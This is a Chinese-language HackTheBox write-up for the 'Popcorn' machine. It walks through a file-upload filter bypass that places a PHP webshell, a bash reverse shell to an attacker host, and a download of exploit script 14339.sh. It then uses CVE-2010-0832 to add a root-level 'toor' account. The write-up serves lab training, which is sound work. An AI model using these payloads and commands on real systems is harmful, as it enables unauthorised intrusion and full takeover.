日期: 2026年06月05日
难度: 简单
平台: HackTheBox
关键技术: 端口与服务枚举、目录模糊测试(Gobuster)、文件上传绕过、HTTP请求篡改(Burp Suite)、远程代码执行(RCE)、高级TTY Shell稳定化(Python)、本地内核/PAM漏洞利用(MOTD文件篡改)。
我们首先对所有65535个TCP端口进行一次快速扫描(-p-),以定位开放的入口点。我们使用 --min-rate 5000 来优化执行速度,并跳过DNS解析和ping探测,以简化审计环境中的流程:
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>
初始扫描可靠地发现了两个开放端口:端口 22(SSH) 和端口 80(HTTP)。
接下来,我们对已识别的端口进行针对性深度扫描,以确定精确的服务版本,并运行Nmap的标准和基础漏洞脚本:
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>
从输出中,我们提取了关于目标环境的关键信息:
OpenSSH 5.1 Debian 6ubuntu2(表明是一个相当古老的Ubuntu Linux发行版)。Apache httpd 2.2.12在通过浏览器与Web应用交互之前,我们将目标IP地址添加到攻击机的 /etc/hosts 文件中,以清理域名映射并确保内部重定向能够正确解析:
<VICTIM_IP> popcorn.htb
然后,我们使用 gobuster 配合 DirBuster 的经典中型字典进行自动化隐藏目录发现:
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt
模糊测试阶段发现了目标Web服务器上的以下可访问路径:
/index(标准索引登陆页)。/test(测试面板或开发信息文件)。/torrent(一个功能齐全的Web平台,专门用于托管和共享种子文件)。/response(内部响应页面)。探索 /torrent 目录后发现一个种子共享CMS。为了与上传功能交互,我们注册并登录了一个当场创建的有效账户。发布一个合法的 .torrent 文件后,该平台启用了编辑种子详情和上传宣传截图图像的选项。这个特定的表单成为了我们的主要攻击向量。
为了实现远程代码执行(RCE),我们经历了一系列测试阶段,使用 Burp Suite(Repeater) 分析后端行为:
我们截获截图上传请求,并将文件名修改为 exploit.php。我们尝试在文件体中插入一个经典的单行Webshell:
<?php system($_GET['cmd']) ?>
结果: Web服务器返回了一个内部执行错误,原因是PHP指令末尾缺少分号 ;,导致执行流程中断。
我们将语法修正为 <?php system($_GET['cmd']); ?>,但由于请求是通过 POST(使用 multipart/form-data)发送的,我们尝试将命令直接传递到头部URL中(POST /torrent/upload_file.php?cmd=whoami)。
结果: Web服务器抛出以下错误:
Cannot execute a blank command
分析: 在文件上传解析期间,后端完全忽略了URL中的 GET 变量。upload_file.php 脚本将文件写入磁盘,但立即尝试执行内部函数。由于在预期的body变量中没有收到任何内容,$_GET['cmd'] 被当作空值处理。
为了绕过检查文件是否为有效图片的基本扩展名过滤,我们将文件重命名为 innocent.php.png,并硬编码一个反向shell payload,使其不依赖外部参数:
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
结果: 服务器返回成功 200 OK,并显示:
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.
分析: 虽然成功绕过了初始过滤器,但由于文件严格以 .png 扩展名结尾,Apache服务器将其视为普通静态图片。当浏览该文件时,浏览器仅以纯文本形式输出原始字节;Apache从未将文件传递给PHP解释器,这意味着我们的Netcat监听器从未收到连接。
由于知道服务器需要解析 .php 扩展名以触发代码执行,我们反转了扩展名顺序(innocent.png.php),保持 Content-Type: image/png 头部不变,并在文件体开头添加PNG签名或魔术数字(PNG)以欺骗后端内容验证检查:
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--
结果: Web服务器干净地接受了文件,处理了尾部的扩展名,并将其保存到上传目录下,名为 innocent.php:
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.
由于上传脚本仅将文件存储到磁盘,而未在上传POST请求的上下文中执行它,我们触发一个独立调用以强制服务器读取它:
nc -lvnp 4444
GET 请求)来触发反向shell:[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)
Apache服务器被迫处理该文件,检测到PHP标签,执行Bash payload,连接完美捕获到我们的监听器上,以 www-data 用户的身份授予初始访问权限。
在收到shell后立即尝试提升权限,暴露了严重的环境限制:
www-data@popcorn:/$ su root
su: must be run from a terminal
su 命令严格需要一个真正的交互式终端(TTY)来安全接收输入。尝试通过 python3 强制启用一个,显示在此旧版机器上未安装该程序(The program 'python3' is currently not installed)。
我们通过利用机器上存在的经典Python二进制文件(Python 2) 并重新配置攻击机终端描述符来绕过这一障碍:
# 1. 使用旧版Python的绝对路径生成一个交互式shell
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
# 2. 将shell进程挂起到后台
Ctrl + Z
# 3. 在攻击机终端上,将键盘状态设置为原始模式,并将Netcat监听器放到前台
stty raw -echo; fg
# 4. 强制刷新屏幕并映射终端环境变量以支持历史记录和自动补全
reset xterm
export TERM=xterm
export SHELL=bash
我们检查受害机上运行的操作系统发行版和Linux内核版本:
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux
www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l
操作系统指向一个老旧的Ubuntu发行版(Karmic Koala),其内核和核心软件包包含多个已知的本地权限提升漏洞。
我们识别出一个高度可行的攻击向量,涉及PAM的每日消息解析(Linux PAM 1.1.0 - MOTD文件篡改权限提升,跟踪编号为 CVE-2010-0832)。该漏洞允许本地用户在本地SSH认证操作期间通过不安全的符号链接处理来操纵 root 拥有的文件。
我们利用公开的漏洞利用脚本 14339.sh 来自动化攻击路径。
searchsploit -m linux/local/14339.sh
python3 -m http.server 80
/tmp 目录(该目录授予全局读/写/执行权限),下载脚本并使其可执行:cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root
脚本成功完成执行,直接篡改了 /etc/passwd 中的本地用户数据库。
由于漏洞利用的内部工作原理,它并未更改原始的 root 用户帐户密码。相反,它在 /etc/passwd 文件的末尾注入了一个全新的、具有root权限的克隆用户。
我们通过读取用户文件的最后一行来确认这一点:
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash
注意:0:0(UID/GID)配置赋予此帐户与root管理员相同的身份参数。
虽然使用密码 toor 运行 su root 会输出 Authentication failure 错误,因为原始root帐户未被修改,但我们稳定的Python TTY shell允许我们通过针对自定义克隆帐户来顺畅切换用户:
www-data@popcorn:/tmp$ su toor
Password: toor
我们输入密码(toor),立即将我们的终端提示符转换为最高权限哈希标识符(#):
root@popcorn:/tmp# whoami
toor
root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
目标机器已被完全攻破。我们现在拥有管理员权限,可以收集所需的标志哈希值:
/home/george/user.txt/root/root.txt